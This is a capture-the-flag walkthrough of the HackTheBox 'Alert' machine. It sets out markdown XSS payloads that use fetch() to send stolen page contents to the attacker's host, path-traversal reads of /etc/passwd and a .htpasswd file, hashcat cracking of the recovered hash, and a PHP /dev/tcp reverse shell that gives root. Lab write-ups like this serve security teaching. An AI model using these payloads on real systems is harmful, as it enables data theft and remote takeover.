Post

HackTheBox Alert

Writeup for HackTheBox Alert

HackTheBox Alert

Machine Synopsis

Alert is an easy-difficulty Linux machine with a website to upload, view, and share markdown files. The site is vulnerable to cross-site scripting (XSS), which is exploited to access an internal page vulnerable to Arbitrary File Read and leveraged to gain access to a password hash. The hash is then cracked to reveal the credentials leveraged to gain SSH access to the target. Enumeration of processes running on the system shows a PHP file that is being executed regularly, which has excessive privileges for the management group our user is a member of and allows us to overwrite the file for code execution as root. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
❯ nmap -sC -sV -A 10.10.11.44

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)

Lets add the domain (alert.htb) for 10.10.11.44 to our /etc/hosts file and check out their website.

1
echo -e '10.10.11.44\t\talert.htb' | sudo tee -a /etc/hosts

webpage

This website basically allows you to upload and view Markdown files.

Uploading a markdown file with a simple XSS payload can trigger an JavaScript alert.

1
2
3
cat test.md
# Heading1
<script>alert(1)</script>

xss_markdown

We can also observe that the .md file uploaded will be embedded to the source code.

xss_markdown_embedded

Enumerating the other webpages also revealed that the contact.php page was vulnerable to XSS too.

xss_contact

The About Us page had a hint.

Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours.

Lets also check for any hidden directories.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ dirsearch -t 10 -e php -u 'http://alert.htb/'
Target: http://alert.htb/

[16:24:18] Starting: 
[16:24:22] 403 -  274B  - /.ht_wsr.txt
[16:24:22] 403 -  274B  - /.htaccess.bak1
[16:24:22] 403 -  274B  - /.htaccess.orig
[16:24:22] 403 -  274B  - /.htaccess.sample
[16:24:22] 403 -  274B  - /.htaccess.save
[16:24:22] 403 -  274B  - /.htaccess_orig
[16:24:22] 403 -  274B  - /.htaccess_sc
[16:24:22] 403 -  274B  - /.htaccessBAK
[16:24:22] 403 -  274B  - /.htaccess_extra
[16:24:22] 403 -  274B  - /.htaccessOLD
[16:24:22] 403 -  274B  - /.htaccessOLD2
[16:24:22] 403 -  274B  - /.htm
[16:24:22] 403 -  274B  - /.html
[16:24:22] 403 -  274B  - /.htpasswd_test
[16:24:22] 403 -  274B  - /.htpasswds
[16:24:22] 403 -  274B  - /.httr-oauth
[16:24:23] 403 -  274B  - /.php
[16:24:31] 200 -   24B  - /contact.php
[16:24:32] 301 -  304B  - /css  ->  http://alert.htb/css/
[16:24:38] 301 -  309B  - /messages  ->  http://alert.htb/messages/
[16:24:43] 403 -  274B  - /server-status
[16:24:43] 403 -  274B  - /server-status/
[16:24:50] 301 -  308B  - /uploads  ->  http://alert.htb/uploads/
[16:24:50] 403 -  274B  - /uploads/

Task Completed

Trying to access http://alert.htb/messages/ and http://alert.htb/uploads/ results in 403 Forbidden.

Lets use a 403 bypass script from this GitHub repo to do a sanity check.

1
2
3
4
5
6
❯ ./bypass-403.sh http://alert.htb messages | grep 200
200,966  --> http://alert.htb -H X-rewrite-url: messages
200,1  --> http://alert.htb/messages.php

❯ ./bypass-403.sh http://alert.htb uploads | grep 200
200,966  --> http://alert.htb -H X-rewrite-url: uploads

It looks like we are able to reach http://alert.htb/messages.php but the website returned nothing when visiting the URL. Maybe we could use this later on…

Now lets enumerate for any subdomains.

1
2
3
4
❯ ffuf -c -u "http://alert.htb" -H "HOST: FUZZ.alert.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fc 301 -t 10
...
statistics              [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 3ms]
...

It looks like there is a subdomain statistics. Lets add the subdomain to our /etc/hosts file.

statistics_webpage

There seems to be some login prompt.

login_request

Reviewing the login request, we can observe that the server is sending a Basic Authentication request. This may also be useful to us.

Exploitation

Reviewing what we gathered so far, we can possibly chain the 2 XSS found using the hint given and also the suspicious messages.php endpoint by doing the following:

  • Create a malicious .md file that fetches the content of messages.php endpoint and send to our server.
  • Call the embedded script file using XSS in contact.php to display the internal files.
1
2
3
4
5
6
7
8
9
cat test.md
<script>
fetch("http://alert.htb/messages.php")
    .then(response => response.text())
    .then(data => {
    fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching messages:", error));
</script>

Upload the .md file and get the embedded link in the source code of the webpage.

1
</script><a class="share-button" href="http://alert.htb/visualizer.php?link_share=676aa8c90b1985.30928944.md" target="_blank">Share Markdown</a></body>

Call the embedded script on Contact Us using the following XSS.

1
<script src="http://alert.htb/visualizer.php?link_share=676aa8c90b1985.30928944.md"></script>

Check for the call back on your web server.

1
2
3
4
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Ch1%3EMessages%3C%2Fh1%3E%3Cul%3E%3Cli%3E%3Ca%20href%3D%27messages.php%3Ffile%3D2024-03-10_15-48-34.txt%27%3E2024-03-10_15-48-34.txt%3C%2Fa%3E%3C%2Fli%3E%3C%2Ful%3E%0A HTTP/1.1" 200 -

Decoding the message in CyberChef reveals the following.

1
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>

Looks like a possible LFI vulnerability given the file parameter.

Lets revise our script to get the /etc/passwd file.

1
2
3
4
5
6
7
8
9
cat test.md
<script>
fetch("http://alert.htb/messages.php?file=../../../../../etc/passwd")
    .then(response => response.text())
    .then(data => {
    fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching messages:", error));
</script>

Repeat the exploit steps above to get the call back.

1
2
10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Cpre%3Eroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%0Adaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Asys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%0Async%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%0Agames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%0Aman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%0Alp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%0Amail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%0Anews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%0Auucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%0Aproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Awww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%0Abackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%0Alist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%0Airc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%0Agnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%0Anobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-network%3Ax%3A100%3A102%3Asystemd%20Network%20Management%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-resolve%3Ax%3A101%3A103%3Asystemd%20Resolver%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-timesync%3Ax%3A102%3A104%3Asystemd%20Time%20Synchronization%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Amessagebus%3Ax%3A103%3A106%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asyslog%3Ax%3A104%3A110%3A%3A%2Fhome%2Fsyslog%3A%2Fusr%2Fsbin%2Fnologin%0A_apt%3Ax%3A105%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Atss%3Ax%3A106%3A111%3ATPM%20software%20stack%2C%2C%2C%3A%2Fvar%2Flib%2Ftpm%3A%2Fbin%2Ffalse%0Auuidd%3Ax%3A107%3A112%3A%3A%2Frun%2Fuuidd%3A%2Fusr%2Fsbin%2Fnologin%0Atcpdump%3Ax%3A108%3A113%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Alandscape%3Ax%3A109%3A115%3A%3A%2Fvar%2Flib%2Flandscape%3A%2Fusr%2Fsbin%2Fnologin%0Apollinate%3Ax%3A110%3A1%3A%3A%2Fvar%2Fcache%2Fpollinate%3A%2Fbin%2Ffalse%0Afwupd-refresh%3Ax%3A111%3A116%3Afwupd-refresh%20user%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Ausbmux%3Ax%3A112%3A46%3Ausbmux%20daemon%2C%2C%2C%3A%2Fvar%2Flib%2Fusbmux%3A%2Fusr%2Fsbin%2Fnologin%0Asshd%3Ax%3A113%3A65534%3A%3A%2Frun%2Fsshd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-coredump%3Ax%3A999%3A999%3Asystemd%20Core%20Dumper%3A%2F%3A%2Fusr%2Fsbin%2Fnologin%0Aalbert%3Ax%3A1000%3A1000%3Aalbert%3A%2Fhome%2Falbert%3A%2Fbin%2Fbash%0Alxd%3Ax%3A998%3A100%3A%3A%2Fvar%2Fsnap%2Flxd%2Fcommon%2Flxd%3A%2Fbin%2Ffalse%0Adavid%3Ax%3A1001%3A1002%3A%2C%2C%2C%3A%2Fhome%2Fdavid%3A%2Fbin%2Fbash%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -

Decoding the encoded text reveals the /etc/passwd contents.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash

Looking at the HTTP responses from the enumeration phase, we could tell that the server is running Apache. We also gathered that statistics.alert.htb was using Basic Authentication.

Googling for Apache Basic Auth resulted in this article. It tells us that we can configure the Apache Password Authentication using /etc/apache2/sites-enabled/000-default.conf.

Lets try to get this file.

1
2
3
4
5
6
7
8
<script>
fetch("http://alert.htb/messages.php?file=../../../../etc/apache2/sites-enabled/000-default.conf")
    .then(response => response.text())
    .then(data => {
    fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching messages:", error));
</script>

Repeat the exploit steps above to get the call back.

1
10.10.11.44 - "GET /?shiro=%3Cpre%3E%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Falert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Falert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20RewriteEngine%20On%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5Ealert%5C.htb%24%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5E%24%0A%20%20%20%20RewriteRule%20%5E%2F%3F(.*)%24%20http%3A%2F%2Falert.htb%2F%241%20%5BR%3D301%2CL%5D%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20statistics.alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Fstatistics.alert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20Indexes%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%20%20%20%20AuthType%20Basic%0A%20%20%20%20%20%20%20%20AuthName%20%22Restricted%20Area%22%0A%20%20%20%20%20%20%20%20AuthUserFile%20%2Fvar%2Fwww%2Fstatistics.alert.htb%2F.htpasswd%0A%20%20%20%20%20%20%20%20Require%20valid-user%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -

Decode the encoded text using CyberChef.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<VirtualHost *:80>
    ServerName alert.htb

    DocumentRoot /var/www/alert.htb

    <Directory /var/www/alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^alert\.htb$
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
    ServerName statistics.alert.htb

    DocumentRoot /var/www/statistics.alert.htb

    <Directory /var/www/statistics.alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    <Directory /var/www/statistics.alert.htb>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Based on the conf file, we now know that the AuthUserFile is located at /var/www/statistics.alert.htb/.htpasswd.

Lets edit our script to get this file.

1
2
3
4
5
6
7
8
<script>
fetch("http://alert.htb/messages.php?file=../../../../var/www/statistics.alert.htb/.htpasswd")
    .then(response => response.text())
    .then(data => {
    fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching the messages:", error));
</script>

Repeat the exploit steps above to get the call back.

1
2
10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -

Decode the encoded text using CyberChef.

1
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

Nice, we finally get a password hash for user albert.

Lets identify the password hash and crack the hash using hashcat.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
echo '$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/' > albert_hash.txt
❯ hashcat --identify albert_hash.txt
The following hash-mode match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)                      | FTP, HTTP, SMTP, LDAP Server
   
❯ hashcat -m 1600 -a 0 albert_hash.txt /usr/share/wordlists/rockyou.txt
...
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
                                                          
Session..........: hashcat
Status...........: Cracked

With albert credentials, we can login to his account on statistics.alert.htb and ssh.

statistics_albert_login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ ssh albert@alert.htb
The authenticity of host 'alert.htb (10.10.11.44)' can't be established.
ED25519 key fingerprint is SHA256:p09n9xG9WD+h2tXiZ8yi4bbPrvHxCCOpBLSw0o76zOs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'alert.htb' (ED25519) to the list of known hosts.
albert@alert.htb's password: manchesterunited
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue 24 Dec 2024 02:06:31 PM UTC

  System load:           0.0
  Usage of /:            63.3% of 5.03GB
  Memory usage:          9%
  Swap usage:            0%
  Processes:             244
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.44
  IPv6 address for eth0: dead:beef::250:56ff:feb9:246f


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Nov 19 14:19:09 2024 from 10.10.14.23
albert@alert:~$ 

Privilege Escalation

1
2
3
4
5
6
albert@alert:~$ sudo -l
[sudo] password for albert: 
Sorry, user albert may not run sudo on alert.

albert@alert:/opt/website-monitor$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

Since albert doesn’t have sudo rights, lets run linpeas to check for interesting files on the system.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
albert@alert:~$ ./linpeas.sh
...
╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
...
root        1017  0.0  0.0   2636   728 ?        S    06:12   0:00  |           _ inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config
...
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
...
/opt/website-monitor/monitors/alert.htb
/opt/website-monitor/monitors/statistics.alert.htb
...

alerbt@alert:~$ ps aux
...
root        1006  0.0  0.6 206768 24300 ?        Ss   06:12   0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
...

We can observe that there is a interesting /opt/website-monitor file from the linpeas scan. It also seems that the website-monitor is running locally on port 8080 by root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
albert@alert:/opt/website-monitor$ ls -la
total 96
drwxrwxr-x 7 root root        4096 Oct 12 01:07 .
drwxr-xr-x 4 root root        4096 Oct 12 00:58 ..
drwxrwxr-x 2 root management  4096 Oct 12 04:17 config
drwxrwxr-x 8 root root        4096 Oct 12 00:58 .git
drwxrwxr-x 2 root root        4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root        5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root        1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root        1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root        4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root         104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root       40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root        1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root        1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root        4096 Oct 12 00:58 updates

albert@alert:/opt/website-monitor$ cat README.md 
...
To automate your monitoring, you can add something like this to your crontab:

```
* * * * * /usr/bin/php -f /path/to/monitor.php >/dev/null 2>&1
```
...

albert@alert:/opt/website-monitor$ cat /opt/website-monitor/monitors/alert.htb
[
    {
        "timestamp": 1731583021,
        "time": 0.321,
        "response": 302
    },
    {
        "timestamp": 1731583801,
        "time": 1.25,
        "response": 302
    },
...

albert@alert:/opt/website-monitor$ cat /opt/website-monitor/monitors/statistics.alert.htb 
[
    {
        "timestamp": 1731583021,
        "time": 0.144,
        "response": 401
    },
    {
        "timestamp": 1731583801,
        "time": 0.185,
        "response": 401
    },
...

Enumerating the /opt/website-monitor folder, we can see that the config file is accessible and writeable by albert because albert is in the management group.

Optional: To view the internal website, we can do a SSH port forward.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  ❯ ssh -f -N -L 48080:127.0.0.1:8080 albert@alert.htb
  
  ❯ curl http://127.0.0.1:48080
  <!DOCTYPE html>
  <html lang="en">
  <head>
  <title>Website Monitor</title>
  <meta charset="utf-8">
  <meta name="theme-color" content="#212529">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link href="style.css" rel="stylesheet">
  <script src="https://cdn.jsdelivr.net/npm/chart.js@3.8.2/dist/chart.min.js" crossorigin="anonymous"></script>
  </head>
  <body>
  
  <main>
  
  <h1>Website Monitor</h1>
  ...

To craft our exploit, we just have to create a malicious php file in the config folder and get a reverse shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
albert@alert:/opt/website-monitor/config$ ls -la
total 16
drwxrwxr-x 2 root   management 4096 Jan  2 06:50 .
drwxrwxr-x 7 root   root       4096 Oct 12 01:07 ..
-rwxrwxr-x 1 root   management   49 Jan  2 06:52 configuration.php

albert@alert:/opt/website-monitor/config$ cat configuration.php 
<?php
define('PATH', '/opt/website-monitor');
?>

albert@alert:/opt/website-monitor/config$ vi exploit.php 

albert@alert:/opt/website-monitor/config$ cat exploit.php
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.3/443 0>&1'"); ?>

albert@alert:/opt/website-monitor/config$ curl http://127.0.0.1:8080/config/exploit.php
1
2
3
4
5
6
7
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.44] 44626
whoami
root
cat /root/root.txt
e2ceed42be65d5f3f88b6b090dd051a2
This post is licensed under CC BY 4.0 by the author.